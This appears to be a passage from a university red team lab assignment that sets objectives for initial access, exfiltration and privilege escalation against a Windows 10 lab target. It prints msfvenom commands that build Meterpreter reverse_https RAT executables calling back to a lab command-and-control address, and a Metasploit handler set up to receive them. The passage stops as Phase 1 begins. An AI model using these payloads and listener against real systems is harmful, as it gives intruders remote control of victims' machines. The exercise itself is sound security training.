Objective

Students will simulate a Red Team operation involving initial access, reconnaissance, data exfiltration, and local privilege escalation. The exercise requires students to document their methodology in a formal penetration testing report and articulate the technical weaknesses exploited during each phase.

For screenshots, do not piece together long output. Generally, showing the command and the first few lines of output is sufficient.

🌟 Prerequisites

Objective: Create and explain the options used to create a RAT and set up a listener.

1. Create two RATs using msfvenom’s reverse_https meterpeter module and don’t use a port below 12000.

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.47 LPORT=15000 -f exe rat1.exe

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.47 LPORT=15000 -f exe rat2.exe

2. Set up one listener for the Phase 1 attack below.

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.17.47 #Sets the LHOST to match the one in the RATs which is the C2
set LPORT 15000  #Sets the LPORT to a high port and matches with RATs
exploit -j

• A payload is the specific code that runs on the target machine after an exploit breaks in. When we are configuring the payload here, we are setting it to match the meterpreter module we set in the RATs
• LHOST is set to our local host, the Kali VM
• LPORT is set to our local port that matches with the RATs made earlier
• exploit -j is used to execute the exploit in meterpreter

Phase 1: Initial Access and Payload Deployment

Objective: Establish a foothold on the Windows 10 target as the user champuser. Students must choose one of two distinct access vectors to deploy a Remote Access Trojan (RAT).